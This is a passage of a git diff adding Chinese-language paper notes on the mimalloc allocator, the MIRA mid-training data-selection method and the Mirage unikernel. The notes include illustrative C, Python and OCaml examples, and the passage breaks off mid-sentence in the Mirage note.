jemalloc/tcmalloc:每个 size class 维护**一条**(或一组 central)空闲链表。 + +mimalloc:**每个 mimalloc page 各自一条空闲链**。`malloc` 优先在当前 page 分配,直到 page 满再向 segment 要新 page。`free` 把块还回**它所属 page** 的链——不会把远处 page 的空块和本地混在一起。 + +直觉:你在 A 区货架拿东西,退回来的也挂回 A 区挂钩,而不是扔到商场总服务台。 + +### 3. Free list multi-sharding(一页三条链) + +论文的核心创新:每个 page 不只有一条空闲链,而是 **三条**: + +| 链表 | 谁写入 | 典型操作 | 设计目的 | +|------|--------|----------|----------| +| **Local free** | 本线程 `free` | 链表头 push/pop | **热路径无锁** | +| **Thread free** | 其他线程 `free` | 单次 **CAS** 挂到该链 | 跨线程释放不抢本线程链 | +| **Used / allocated** | 分配器元数据 | 追踪已发出块 | 与空闲分离,便于维护 | + +跨线程 `free` 只需一次原子操作把块挂到目标 page 的 **thread free** 链,**不需要**和分配线程协调锁。全堆有成千上万条链,争用自然**打散**——论文把它类比成 skip list 里加「随机 oracle」降低结构化热点。 + +分配时:先吃 local free;不够则合并 thread free 到 local(按 **temporal cadence** 节奏做,不是每次分配都合并)。 + +### 4. Temporal cadence(时间节拍) + +若永远走「弹块 → 返回」的 fast path,**延迟维护**永远排不上队:thread free 堆着不合并、deferred RC 不跑、空 page 不还 OS。 + +mimalloc 在 fast path 里埋**可预测的节拍**(例如用计数器低位):每隔固定次数分配/释放,**故意**离开 fast path 做: + +- 把 thread free 合并进 local free; +- 处理 **deferred free** 队列(引用计数运行时); +- 回收空 page、 `madvise`/`decommit` 给 OS。 + +这样 worst-case 有界,又不会让维护逻辑「偶尔卡死一次」——对 Lean/Koka 的 **bounded wcat**(最坏情况分配时间)很重要。 + +### 5. Segment 与线程本地堆 + +多个 mimalloc page 组成 **segment**(通常 4 MiB 量级)。每个线程有 **thread-local heap**,分配默认只碰本线程的 page,减少跨线程元数据。 + +v2/v3 演进还引入 **abandoned segment** 回收、**first-class heap**(多堆区域、整堆销毁)等,但 2019 论文的主线仍是 **page-local sharding + 三链表**。 + +### 6. 面向引用计数运行时的钩子 + +论文花篇幅讨论:当 RC 减到 0 要释放大树时,可在分配器里 **defer**——把「递归减子节点引用」放进延迟队列,在 **malloc 压力**或 cadence 节拍时批量处理。这样: + +- 避免在业务线程上深度递归 free; +- 与 mimalloc 的「定期离开 fast path」自然对齐。 + +这也是 mimalloc 进入 **Swift、Python nogil 分支** 等讨论的原因:语言运行时不再把分配器当黑盒 `malloc`,而是**协作者**。 + +### 7. 与 jemalloc / tcmalloc 对照 + +| 维度 | jemalloc | tcmalloc | mimalloc | +|------|----------|----------|----------| +| 分片单位 | arena(MB 级) | per-CPU / per-thread cache + central | **mimalloc page(64 KiB)** | +| 空闲链粒度 | per arena × size class | per size class central + cache 链 | **per page × 三条链** | +| 跨线程 free | 进 arena 锁或 tcache 流转 | transfer cache / central | **目标 page 上单 CAS** | +| 空内存归还 | 可配置 | PageHeap 回收 | **page 空则 eager purge** | +| 代码规模 | 大 | 中 | **~10k LOC,易嵌入运行时** | + +## 代码示例 + +### 示例 1:零改代码替换系统 malloc + +mimalloc 可作为 `malloc`/`free` 的 drop-in 替换。Linux 上动态链接程序常用 `LD_PRELOAD`: + +```bash +# 构建你的程序(照常链接 libc) +cc -O2 -pthread -o bench bench.c + +# 对比:系统 malloc vs mimalloc +/usr/bin/time -f '%e sec maxrss=%MKB' ./bench +/usr/bin/time -f '%e sec maxrss=%MKB' \ + LD_PRELOAD=/usr/lib/libmimalloc.so ./bench + +# 打开 mimalloc 统计(版本不同选项名略有差异) +MIMALLOC_SHOW_STATS=1 LD_PRELOAD=libmimalloc.so ./bench +``` + +下面是一个多线程小对象风暴,能放大 **sharding** 与 **跨线程 free** 差异: + +```c +#include +#include +#include +#include + +#define N_THREADS 16 +#define ITERS 200000 + +static void *worker(void *arg) { + long id = (long)arg; + for (int i = 0; i < ITERS; i++) { + /* 48 B 很常见:落在独立 size class,内部碎片可控 */ + void *p = malloc(48); + if (!p) return NULL; + memset(p, (int)(id + i), 48); + + /* 故意让部分内存在别的线程 free:打 thread-free 链 + CAS 路径 */ + if ((i & 7) == 0) { + static void *stash[N_THREADS]; + if (stash[id]) free(stash[id]); + stash[id] = p; + } else { + free(p); + } + } + return NULL; +} + +int main(void) { + pthread_t tid[N_THREADS]; + for (long i = 0; i < N_THREADS; i++) + pthread_create(&tid[i], NULL, worker, (void *)i); + for (int i = 0; i < N_THREADS; i++) + pthread_join(tid[i], NULL); + puts("done"); + return 0; +} +``` + +**读这段代码时在发生什么**: + +1. 每线程第一次 `malloc` 绑定 thread-local heap,从当前 mimalloc page 的 **local free** 弹块。 +2. 同线程 `free` → 压回该 page 的 local free,**无锁**。 +3. `(i & 7) == 0` 时把块缓存在 `stash`,下一轮在同线程 `free` 上一块——仍 mostly local;若改成把指针交给**另一线程** `free`,则走 **thread free + CAS**,这正是 multi-sharding 要优化的路径。 +4. page 填满后换同 segment 新 page;segment 内无可用 page 时再向 OS 要内存。 +5. 用 mimalloc 跑通常比 glibc ptmalloc 锁争用少;论文在类似并发 micro-benchmark 上相对 jemalloc/tcmalloc 更稳。 + +### 示例 2:First-class heap 与按区域批量释放 + +mimalloc 提供 **heap 对象**(不是只认全局 `malloc`)。游戏引擎、JIT、区域分配器常需要「这一坨一起扔」: + +```c +#include +#include +#include + +int main(void) { + /* 独立堆:与默认堆隔离,可整堆销毁 */ + mi_heap_t *heap = mi_heap_new(); + + char *a = mi_heap_malloc(heap, 128); + char *b = mi_heap_malloc(heap, 256); + strcpy(a, "shard-A"); + strcpy(b, "shard-B"); + + /* 模拟:一个请求作用域结束,不必逐个 free */ + mi_heap_destroy(heap); /* 一次释放 heap 内全部块 + 对应 page */ + + /* 默认堆仍可用 */ + void *x = mi_malloc(64); + mi_free(x); + return 0; +} +``` + +编译链接(已安装 mimalloc 开发包时): + +```bash +cc -o heap_demo heap_demo.c -lmimalloc +./heap_demo +``` + +**设计要点**: + +- `mi_heap_malloc` 仍走同一套 page sharding,只是 **page 归属不同 heap**; +- `mi_heap_destroy` 比 N 次 `free` 少碰全局结构,适合 **AST 遍历、编译 Pass 临时 arena**; +- v3 起堆可从**任意线程**分配(true first-class),便于线程池里按任务域划堆。 + +### 示例 3:观察 deferred / 安全模式(概念验证) + +论文里的 **deferred free** 与 **secure mode** 在应用层 API 上体现为选项与心跳钩子。下面片段展示**如何打开安全构建**(生产环境慎用,约 10% 开销)及打印统计的思路——具体宏因版本而异,以[官方文档](https://microsoft.github.io/mimalloc)为准: + +```c +#include +#include + +int main(void) { + void *p = mi_malloc(1024); + mi_free(p); + + /* 进程退出前查看分配器统计:page 数、峰值、桶分布 */ + mi_stats_print(NULL); + return 0; +} +``` + +Secure 构建(`MI_SECURE`)会加密空闲链、加 guard page、缓解 double-free——对应论文对**分配器即安全边界**的讨论,与性能模式分开。 + +## 性能与工程结论(论文摘要) + +论文在 Redis、larson(多线程分配测试)、alloc-test 等基准上报告: + +- 相对 **tcmalloc** 约 **+7%**(Redis) +- 相对 **jemalloc** 约 **+14%**(Redis) +- 顺序与并发场景多数领先或持平,曲线**方差小**——「没有特别慢的 benchmark」对线上服务很重要 + +实现侧亮点: + +- **~10k 行 C**,结构一致,适合嵌进语言运行时改钩子; +- **eager page purging**:空 page 尽快 `decommit`,长跑服务 RSS 更友好; +- 已被 **Lean 4、Koka、mi_malloc crate(Rust)** 等直接使用或可选链接。 + +## 常见误区 + +1. **「mimalloc page = 4 KiB OS 页」** — 错。64 KiB 是分配器逻辑页,和 TLB 页是两层概念。 +2. **「分片一定更省内存」** — 不一定。局部性变好、purge 更积极常**降 RSS**,但元数据(每 page 三条链头)有少量开销;要以 workload 实测为准。 +3. **「换 mimalloc 就不用管跨线程 free」** — multi-sharding 把 CAS 争用打散,**不是**消灭跨核流量;最佳仍是「谁分配谁释放」或 per-thread arena。 +4. **「只适用于 RC 语言」** — 论文动机来自 Lean/Koka,但 C/C++ 通用程序同样受益;RC 钩子是可选项。 + +## 延伸阅读 + +- 技术报告 PDF:[mimalloc-tr-v1.pdf](https://www.microsoft.com/en-us/research/uploads/prod/2019/06/mimalloc-tr-v1.pdf) +- 开源实现与 README:[microsoft/mimalloc](https://github.com/microsoft/mimalloc) +- 同系列对比笔记:本库 [jemalloc(Evans 2006)](./jemalloc-evans-2006.md)、[TCMalloc](./tcmalloc-google-2007.md) +- APLAS 2019 会议版:Springer LNCS 11893 + +## 小结 + +mimalloc 把「空闲链表」从**全局 per-size-class** 拆成 **per-page**,再在每页上拆成 **local / thread / used** 三条链,用 **temporal cadence** 把维护任务嵌进可预测的节拍。对零基础读者,只需记住类比:**别用大超市总退货台,改成每货架三个小筐,店员按固定节奏盘点**——这就是 *Free List Sharding in Action* 的「Action」:设计直接落在热路径代码与论文 benchmark 数字上。 diff --git a/src/content/docs/papers/mira-rubric.md b/src/content/docs/papers/mira-rubric.md new file mode 100644 index 000000000..d5f4dadc3 --- /dev/null +++ b/src/content/docs/papers/mira-rubric.md @@ -0,0 +1,285 @@ +--- +title: MIRA — 中期训练中的来源感知 Rubric 锚定数据筛选 +来源: https://arxiv.org/abs/2605.30288 +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:同一套评分表评不了所有作业 + +想象你是教研组长,要在开学前从**海量练习册**里挑出最值得练的题,但练习册来源极杂: + +- 有的是**纯代码文档**(像 GitHub 仓库快照) +- 有的是**问答对**(题目 + 参考答案) +- 有的是 **Agent 轨迹**(多轮对话 + 工具调用 JSON) + +如果你拿一张**全局评分表**——「文笔流畅、逻辑清晰、信息量大」——去筛 Agent 轨迹,很可能把「话术漂亮但工具调用格式错误」的样本留下;用「困惑度(PPL)」筛一切,长轨迹会被系统性压低分数,和「质量」混为一谈。 + +MIRA 的做法像**先分组出题、再各组定制 rubric、最后雇便宜助教批量打分**: + +1. 把 21 种来源按内容嵌入聚成 **5 个能力组**(Agent / QA / Text 等) +2. 请一位**前沿教师模型**自由写出「这一组到底该看什么」→ 聚类成每组固定的 **anchor rubric(锚定评分维度)** +3. 教师按锚定维度给约 **200 万条**样本打结构化分 → 蒸馏成每组一个**轻量学生打分器** +4. 全库数千万条用学生快速打分 → **可靠性掩码**去掉不靠谱的维度 → **按来源/组保留阈值**筛出最终语料 + +论文核心结论:**用一半 token(25B vs 50B)的中期训练数据,九项代码 benchmark 的宏平均可与「不过滤全量 50B」持平**,且优于 PPL、DSIR、DataMan、随机采样等基线。 + +--- + +## 是什么 + +**MIRA**(**Mi**d-training **R**ubric **A**nchoring for Source-Aware Data Selection,Wang et al., 2026)是面向 **heterogeneous mid-training(异构中期训练)** 语料的**来源感知质量筛选框架**。 + +| 阶段 | 训练目标 | 数据特点 | 筛选难点 | +|------|----------|----------|----------| +| 预训练 | 通用语言建模 | 规模大、格式相对同质 | PPL / 去重可扩展 | +| **中期训练** | 仍是大规模 LM loss,但**面向下游能力** | Web、代码、数学、指令、推理链、Agent 轨迹混在一起 | 需要**语义标准**,且标准因来源而异 | +| 后训练(SFT/RL) | 指令跟随 / 偏好对齐 | 格式较标准 | 固定 rubric、LLM-as-judge 成熟 | + +MIRA 把 **rubric 发现** 和 **可扩展打分** 拆开:前沿教师只负责「这一组该评什么」,真正扫全库的是蒸馏后的学生模型。 + +--- + +## 为什么重要 + +1. **中期训练已成标配**:在预训练与 SFT/RL 之间,用大规模 curated mixture 补强代码、推理、长上下文、工具使用等能力(Qwen、DeepSeek-R1、CWM 等路线均涉及)。 +2. **旧方法两头不靠**:预训练筛选(PPL、DSIR、梯度影响)信号隐式、不懂「Agent 轨迹是否有效恢复错误」;后训练筛选(DataMan、QuRating)假设**固定全局 rubric**,难以覆盖 21 种异构来源。 +3. **算力即数据**:论文在 **Qwen2.5-Coder-14B** 上 mid-train **50B token**;MIRA-Group 只用 **25B** 精选子集,SFT 后 **Macro Avg. 64.20**,超过 Random(63.23)、DataMan(63.01)、DSIR(59.55),并逼近 Raw Mixture 50B 的 63.83。 +4. **可解释**:分数来自组内多维 rubric + 理由,而非单一标量;案例研究显示低分轨迹多因 **invalid tool-call payload、无 error recovery**,而非「写得不好看」。 + +--- + +## 核心概念 + +### 1. Mid-training(中期训练) + +介于大规模预训练与任务后训练之间的阶段:仍用 next-token prediction、token 量级接近预训练,但混合料**刻意偏向能力域**(代码、数学、长文、Agent 等)。与「窄域继续预训练」不同,它要在**保持通用性**的同时拉高特定能力。 + +### 2. Self-Anchored Rubric Discovery(自锚定 Rubric 发现) + +**不做**人工写「代码质量 5 维度、Agent 质量 8 维度」。流程: + +1. 对每个来源采样,用内容嵌入把 **21 个来源** 聚成 **5 个组** +2. 教师模型对组内样本 **自由形式评判**:自己提出维度名、打分、写理由(无预设 rubric) +3. 解析为 `(dimension_name, reason)` 判点,嵌入后聚类;每个簇取距质心最近的判点作为 **anchor dimension** +4. 每组得到一组固定锚定维度(实现中每组约 **15 个 anchor**),构成该组的评分空间 + +直觉:rubric 来自教师**实际怎么评**,不是作者拍脑袋的 normative checklist。 + +### 3. Anchored Judge Distillation(锚定评判蒸馏) + +自由形式评判每条记录的维度集合不同,无法直接当监督信号。固定 anchor 后: + +- 教师对更大样本集,在**每个 anchor** 上打数值分 + 简短理由 +- 约 **200 万条** teacher-scored 记录 → 训练集 / 验证集 +- 每组训练一个 **group-specific student**(论文用 **Qwen3.5-35B-A3B-Base** 全参微调;教师为 **Kimi-K2.6**) +- 学生输出:每个 anchor 的 score + rationale,可解析为多维向量 + +**每组一个学生**,因为各组 anchor 语义空间不同;比「一个万能打分器」拟合更稳。 + +### 4. Source-Conditioned Reliability Aggregation(来源条件可靠性聚合) + +学生并非在每个「来源 × 维度」上都可靠。在验证集上算教师–学生 **MAE** 与 **Spearman**,低于阈值的 `(source, dimension)` 记入掩码 \(M^{(g)}_{s,d}=0\)。 + +聚合单条记录分数时:**只对掩码为 1 的维度做 trimmed mean**。掩码在聚合阶段后验应用,**不改学生 prompt**——避免改 prompt 导致剩余维度分数联合分布漂移。 + +### 5. Source-Preserving Selection(保来源筛选) + +不同来源分数分布的均值/方差不同;**单一全局阈值**会先删掉低均值来源 → **能力域被整类砍掉**。三种变体: + +| 变体 | 阈值策略 | 特点 | +|------|----------|------| +| MIRA-Global | 全库一个 cutoff | 易偏向高分分布组 | +| **MIRA-Group**(默认) | 每个来源组内保留 | 平衡质量与能力覆盖 | +| MIRA-Source | 每个来源单独 cutoff | 保多样性最强,小来源更噪 | + +--- + +## 实验设置速览 + +- **基座**:Qwen2.5-Coder-14B +- **Mid-training**:Megatron-LM,约 50B token,seq len 128k,BF16 +- **数据**:代码向中期训练混合,**21 sources → 5 groups**(含 Agent 轨迹、QA、Text 等) +- **SFT**:固定 40 万条指令样本,超参一致,差异仅来自 mid-train 数据 +- **评测**:9 个 benchmark,分四类宏平均——代码生成(MBPP、MBPP+、BCB、LCB)、多语言 Multipl-E(8 语言)、SQL(Spider + BIRD 可执行准确率)、SWE-Multi + +**主要数字(25B 子集,Table 1 Macro Avg.)**: + +| 方法 | Macro Avg. | +|------|------------| +| DSIR | 59.55 | +| PPL | 54.73 | +| Random | 63.23 | +| DataMan | 63.01 | +| MIRA-Group | **64.20** | +| Raw Mixture(50B,无筛选) | 63.83 | + +--- + +## 代码示例 1:模拟「自锚定 Rubric 发现」 + +下面用 Python 演示**分组 → 教师自由判点 → 聚类成 anchor** 的逻辑(教学伪代码,非官方实现): + +```python +from dataclasses import dataclass +from sklearn.cluster import AgglomerativeClustering +import numpy as np + +@dataclass +class JudgmentPoint: + dimension: str + reason: str + score: float + embedding: np.ndarray # 对 (dimension + reason) 的向量 + +def cluster_sources_by_embedding(source_means: dict[str, np.ndarray], n_groups: int): + """按来源内容嵌入的均值向量,把 21 个来源聚成 5 组。""" + sources = list(source_means.keys()) + X = np.stack([source_means[s] for s in sources]) + labels = AgglomerativeClustering(n_clusters=n_groups).fit_predict(X) + groups: dict[int, list[str]] = {i: [] for i in range(n_groups)} + for src, g in zip(sources, labels): + groups[g].append(src) + return groups + +def discover_anchor_rubrics(free_form_judgments: list[JudgmentPoint], k_anchors: int = 15): + """ + 教师对组内样本的自由评判 → 解析为 JudgmentPoint → 聚类 → 每簇一个 anchor。 + """ + emb = np.stack([j.embedding for j in free_form_judgments]) + cluster_ids = AgglomerativeClustering(n_clusters=k_anchors).fit_predict(emb) + anchors = [] + for cid in range(k_anchors): + members = [j for j, c in zip(free_form_judgments, cluster_ids) if c == cid] + centroid = np.mean([m.embedding for m in members], axis=0) + # 选距质心最近的判点作为该维度的 anchor 名称与示例理由 + best = min(members, key=lambda m: np.linalg.norm(m.embedding - centroid)) + anchors.append({"name": best.dimension, "exemplar_reason": best.reason}) + return anchors + +# 示例:Agent 组可能发现 tool_call_validity、error_recovery 等 anchor; +# Text 组可能是 coherence、technical_depth 等——同一套全局 rubric 无法同时覆盖。 +``` + +--- + +## 代码示例 2:可靠性掩码 + 组内保留阈值 + +演示 **source-conditioned reliability** 与 **MIRA-Group** 筛选: + +```python +from typing import Dict, List, Tuple + +def reliability_mask( + teacher_scores: Dict[Tuple[str, str], float], + student_scores: Dict[Tuple[str, str], float], + mae_thresh: float = 0.35, + spearman_thresh: float = 0.4, +) -> Dict[Tuple[str, str], bool]: + """ + 对每个 (source, dimension) 在验证集上算 MAE / Spearman。 + 低于阈值 → 掩码为 False,不参与聚合。 + """ + from scipy.stats import spearmanr + mask = {} + pairs = set(teacher_scores.keys()) & set(student_scores.keys()) + by_pair = {} + for key in pairs: + by_pair.setdefault(key, []).append((teacher_scores[key], student_scores[key])) + for key, pairs_vals in by_pair.items(): + t = [p[0] for p in pairs_vals] + s = [p[1] for p in pairs_vals] + mae = sum(abs(a - b) for a, b in zip(t, s)) / len(t) + corr = spearmanr(t, s).correlation if len(t) > 2 else 1.0 + mask[key] = mae <= mae_thresh and (corr or 0) >= spearman_thresh + return mask + +def aggregate_record_score( + source: str, + dim_scores: Dict[str, float], + mask: Dict[Tuple[str, str], bool], +) -> float: + """只对可靠维度做 trimmed mean(这里简化为均值)。""" + vals = [ + dim_scores[d] + for d in dim_scores + if mask.get((source, d), True) + ] + if not vals: + return 0.0 + return sum(vals) / len(vals) + +def mira_group_select( + records: List[dict], + group_of_source: Dict[str, int], + budget_tokens_per_group: Dict[int, int], +) -> List[dict]: + """ + 在每个 source group 内按 aggregate_score 排序,保留到组内 token 预算。 + 避免 MIRA-Global 只捞高分分布组。 + """ + selected = [] + by_group: Dict[int, List[dict]] = {} + for r in records: + g = group_of_source[r["source"]] + by_group.setdefault(g, []).append(r) + for g, items in by_group.items(): + items.sort(key=lambda x: x["aggregate_score"], reverse=True) + cap = budget_tokens_per_group.get(g, 0) + used = 0 + for r in items: + if used + r["tokens"] <= cap: + selected.append(r) + used += r["tokens"] + return selected +``` + +--- + +## 与相关方法的对比 + +| 方法 | 信号类型 | Rubric | 来源感知 | 可扩展性 | +|------|----------|--------|----------|----------| +| PPL | 模型困惑度 | 无显式语义 | 否 | 高 | +| DSIR | 分布匹配 / 重要性重采样 | 隐式 | 弱 | 高 | +| DataMan | 14 维固定通用质量 rubric | 全局固定 | 否 | 中(长上下文受限) | +| Random | 无 | — | 保来源多样性 | 最高 | +| **MIRA** | 教师语义 + 学生蒸馏 | **每组自发现 anchor** | **是** | 高(学生扫全库) | + +分析章节指出:PPL、DSIR **强依赖序列长度**;DataMan 在超长 Agent 轨迹上**无法打分**;MIRA 分数在长短序列上更平滑,更适合含长轨迹的中期训练混合。 + +--- + +## 案例分析:Agent 轨迹 + +高分轨迹:工具调用 JSON **合法** → 收到 error → **下一步修正**行为。 +低分轨迹:多个 JSON 对象拼进一个 `arguments` 字段 → 解析失败 → **重复同样错误调用**,话术仍然流畅。 + +这说明 MIRA 的 Agent 分数反映 **trajectory-level correctness**,单用「文本质量」或 PPL 难以捕捉。 + +--- + +## 局限与后续方向 + +- MIRA 解决的是**筛选**;来源发现、混合比例、课程学习、去重、污染检测仍属其他模块。 +- Rubric 发现依赖 frontier teacher(Kimi-K2.6)能力;换弱教师可能 anchor 质量下降。 +- 5 组 / 15 anchor 是工程选择,更细 per-source rubric 与更粗全局 rubric 的 trade-off 需按语料调整。 +- 论文实验集中在**代码向中期训练**;数学、多模态、通用能力混合是否同样受益,有待验证。 + +--- + +## 一句话总结 + +**MIRA 把「评什么」和「怎么评全库」拆开:先用教师自发现每组 anchor rubric,再蒸馏成轻量学生,配合来源可靠性掩码与组内保留阈值,在异构中期训练数据上做到语义可解释、可扩展、保能力多样性的筛选——一半 token 逼近全量训练效果。** + +--- + +## 延伸阅读 + +- 中期训练综述:Tu et al., "A survey on LLM mid-training" +- 固定 rubric 质量分:DataMan (Peng et al., 2025) +- 分布匹配筛选:DSIR (Xie et al., 2023) +- PPL 数据修剪:Marion et al., "When less is more" (2023) +- 同批次「反推配比」思路:[[llmsurgeon-data-mixture]](事后审计 vs MIRA 事前筛选,问题互补) diff --git a/src/content/docs/papers/mirage-unikernel-2013.md b/src/content/docs/papers/mirage-unikernel-2013.md new file mode 100644 index 000000000..45b009cc7 --- /dev/null +++ b/src/content/docs/papers/mirage-unikernel-2013.md @@ -0,0 +1,260 @@ +--- +title: Unikernels — 为云而生的「图书馆操作系统」 +来源: https://anil.recoil.org/papers/2013-asplos-mirage.pdf +日期: 2026-06-13 +子分类: 内核与虚拟化 +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 先想成什么事 + +想象你要开一家**只卖一种咖啡**的外卖档口: + +- **传统云 VM** 像租下一整栋商场:先装水电煤(Linux 内核)、再铺地板墙纸(systemd、cron、NTP)、再摆收银台(Apache/MySQL),最后才在角落放一台咖啡机。商场里 99% 的设施你根本用不到,但电费、保安、装修费一样照付;档口越多,克隆的「整栋商场」镜像越大,开机越慢。 +- **Unikernel(单内核)** 的思路是:你只带**咖啡机 + 刚好够用的电路 + 菜单**,在物业(hypervisor,通常是 Xen)划给你的一块地上直接营业。没有「用户态 / 内核态」两层楼,没有多用户登录,没有 cron 在后台偷偷跑——编译时就把用不到的功能**链接器裁掉**,部署时再把镜像**封死**(sealed),运行时不能再注入新代码。 + +这篇 ASPLOS 2013 论文由 Anil Madhavapeddy 等剑桥团队发表,原型叫 **Mirage**:用 **OCaml** 写应用,连同 TCP/IP、DNS、HTTP 等协议栈一起**编译链接**成一张可启动的 Xen 虚拟机镜像。论文后来获 ASPLOS **最具影响力论文奖**,并催生了 MirageOS 生态,也影响了 Docker Desktop 等产品的技术路线。 + +## 这篇论文在说什么 + +| 维度 | 内容 | +|------|------| +| 作者 | Anil Madhavapeddy, Richard Mortier, Charalampos Rotsos, David Scott, Balraj Singh, Thomas Gazagnaire, Steven Smith, Steven Hand, Jon Crowcroft | +| 场合 | ASPLOS '13,Houston, Texas | +| 页码 | 461–472 | +| DOI | [10.1145/2451116.2451167](https://doi.org/10.1145/2451116.2451167) | +| 原型语言 | OCaml | +| 运行平台 | Xen hypervisor(商品云) | +| 核心贡献 | 提出 unikernel 范式;Mirage 完整实现;证明类型安全不必牺牲性能 | + +论文要回答三个问题: + +1. **Library OS(库操作系统)** 这个老想法,为什么在云时代突然可行? +2. 把「应用 + 运行时 + 协议栈」焊成**单一地址空间**的专用内核,体积、启动、安全能好多少? +3. 用**静态类型安全**的语言重写网络栈,性能会不会崩? + +## 为什么值得读(即使你不写 OCaml) + +| 今天的现象 | 与这篇论文的关系 | +|------------|------------------| +| AWS Lambda / 函数计算 | 「单用途、短生命周期、快速冷启动」与 unikernel 同谱系 | +| Firecracker microVM | 极小 VM 镜像;Denali → unikernel 思路的工业化延续 | +| 容器镜像瘦身(distroless、scratch) | 同一动机:减少攻击面与分发体积 | +| WebAssembly 组件模型 | 编译期 specialization + 链接时裁剪的另一种形态 | +| eBPF/XDP 可编程网络 | 「把栈嵌进数据路径」与 libOS 哲学相通 | +| 2025 ASPLOS 最具影响力论文奖 | 学术与工业界对范式长期价值的认可 | + +## 核心概念一:从「通用 VM」到「专用电器」 + +传统云镜像的悖论:运维上已经是**一 VM 一角色**(这台只跑 DNS、那台只跑 Web),但镜像里仍是**通用操作系统**——数百万行活跃代码每次启动都要跑一遍,还常夹着用不到的服务(误开 sshd、多余 cron job 都会扩大攻击面)。 + +Unikernel 的三条原则: + +| 原则 | 含义 | 日常类比 | +|------|------|----------| +| **Compile-time specialisation** | 配置写进编译/链接,未引用的库不进镜像 | 菜单印死「只卖拿铁」,后厨不备抹茶粉 | +| **Single-purpose appliance** | 一个镜像只做一件事 | 外卖档只卖一种 SKU | +| **Sealed at deploy** | 部署后镜像不可被运行时改写 | 开业当天玻璃柜封条,不能再塞新设备 | + +论文 Figure 1 对比了两种软件层: + +``` +传统 VM appliance: + 应用二进制 → 语言运行时 → 用户进程/线程 → OS 内核 → Hypervisor → 硬件 + +Unikernel: + 应用源码 + 配置 ──编译链接──► 专用 unikernel 镜像 → Hypervisor → 硬件 +``` + +关键洞察:**Hypervisor 已经提供了稳定的虚拟硬件抽象**(网卡、块设备、内存),LibOS 不必像 Exokernel / Nemesis 时代那样为每块物理硬件写驱动——这是 unikernel 能「落地商品云」的前提。 + +## 核心概念二:配置即编译 + +Linux 上部署复杂服务,往往靠一堆 shell 脚本把 MySQL、Nginx、PHP 粘在一起,配置散落在 `/etc` 各处,类型检查为零。 + +Mirage 把**数据库、Web 服务器、DNS** 都当作 **OCaml 库**,用普通函数调用或构建系统(Makefile/OPAM)配置: + +- **静态参数**(监听 IP、证书路径)→ 编译进二进制,链接器做 dead-code elimination +- **动态参数**(DHCP 拿地址)→ 保留运行时库调用 + +好处:配置决策有**类型检查**和静态分析;坏处:改配置常要**重新编译**——论文用「冷启动 < 50ms」论证这代价可接受。 + +## 核心概念三:安全模型与 VM Sealing + +威胁模型:多租户数据中心里**对外提供网络服务**的 VM,要面对互联网和其他租户。 + +防御层次: + +1. **编译期裁剪** — 只链接显式引用的协议模块,依赖图可静态验证 +2. ** pervasive type-safety** — OCaml 消除整类内存错误(对比 BIND 十年 40 个 CVE,约 25% 与内存管理有关) +3. **VM sealing** — 启动后建立页表:**没有页同时可写又可执行**,再发 hypercall 禁止后续改页表(Xen 补丁 < 50 行) +4. **Compile-time ASLR** — 每次部署重新链接,随机化布局,无需运行时 linker + +代价:堆大小须在启动时**预分配**(云里本就买定内存,论文认为合理)。 + +## 核心概念四:Mirage 架构分层 + +| 组件 | 职责 | +|------|------| +| **PVBoot** | 启动:单 vCPU、event channel、`domainpoll` 阻塞等待 I/O | +| **OCaml runtime** | 改造过的 GC:minor/major heap 分区;I/O 页单独映射减轻 GC 扫描 | +| **Lwt** | 协作式轻量线程,纯 OCaml;调度策略可由应用替换 | +| **cstruct** | C 结构体 ↔ 外部内存的零拷贝访问器(见下方代码示例) | +| **Ring / Netif / Blkif** | Xen 前后端驱动协议 | +| **协议库** | Ethernet → ARP → IPv4 → TCP/UDP → HTTP/DNS/SSH… 全栈 OCaml | + +内存布局(Figure 2)三块:**text/data**、**外部 I/O 页**、**OCaml 堆**——I/O 页用 grant table 与别的 VM 共享,GC 不必扫描网卡环形缓冲区。 + +多核策略:采纳 **multikernel** 哲学——**每核一个 VM**,核间用 vchan(共享内存环)通信,而非在一个 VM 里抢锁。 + +## 代码示例一:`cstruct` — 把 C 结构体映射进 OCaml + +论文 Figure 3:Xen 设备环、网络头解析都要精确匹配 C 内存布局。OCaml 普通 `int` 会装箱堆分配,太慢;Mirage 用语法扩展自动生成访问器: + +```ocaml +(* 声明与 C 侧 ring 头一致的结构 *) +cstruct ring_hdr { + uint32_t req_prod; + uint32_t req_event; + uint32_t rsp_prod; + uint32_t rsp_event; + uint64_t stuff; +} as little_endian + +(* 编译器扩展自动生成(示意): + set_req_prod : buf -> int32 -> unit + get_req_prod : buf -> int32 + set_stuff : buf -> int64 -> unit + get_stuff : buf -> int64 +*) + +let advance_ring buf prod = + let p = get_req_prod buf in + set_req_prod buf (p + 1) +``` + +`buf` 底层是 `Bigarray` 映射的 Xen 共享页;读写直接落在外部内存,配合内存屏障 intrinsic,驱动可**纯 OCaml** 实现,却在 fuzz 测试中帮 Linux/Xen 挖出 XSA-39 等漏洞。 + +## 代码示例二:用库链接方式「配置」一个 DNS 电器 + +Mirage 没有 `/etc/named.conf`,而是**选库 + 写 OCaml 入口**(现代 MirageOS 3.x 用 `config.ml` / functor,思想与论文一致): + +```ocaml +(* 极简 Mirage 风格入口:只链接 DNS 所需协议栈 *) +open Lwt.Infix + +let serve_dns zone port = + let stack = Stack_ipv4.create ~dhcp:false () in + Dns_server.listen stack ~port zone + +let main = + let zone = Dns_loader.of_file "zone.txt" in + Mirage_runtime.run @@ fun () -> + serve_dns zone 53 >>= fun () -> + Lwt.return () + +(* 构建时:mirage configure --xen;mirage build + 链接器只拉入:UDP, IPv4, ARP, Ethernet, Lwt, GC, PVBoot… + 未引用的 HTTP/TCP/FAT 等模块不会进入最终 .xen 镜像 *) +``` + +对比:同等功能的 BIND on Debian 镜像 **462 MB 在用**,Mirage DNS appliance **183.5 kB**——差三个数量级。查询性能:Memoization 补丁约 20 行后,Mirage **75–80 kq/s**,快于 BIND 9(~55 kq/s)并与 NSD(~70 kq/s)持平或略优。 + +## 代码示例三(补充):Lwt 协作式并发 + +Unikernel 内**没有内核抢占**;VM 要么跑 OCaml,要么在 `domainpoll` 里睡眠: + +```ocaml +let rec echo conn = + Conn.read conn >>= fun buf -> + Conn.write conn buf >>= fun () -> + echo conn + +let () = + Mirage_runtime.run @@ fun () -> + Stack.listen stack 80 (fun flow -> + Lwt.async (fun () -> echo flow) + ) +``` + +线程创建百万级压测(Figure 7):`linux-pv` 最慢;Mirage 专用地址空间布局减轻 GC 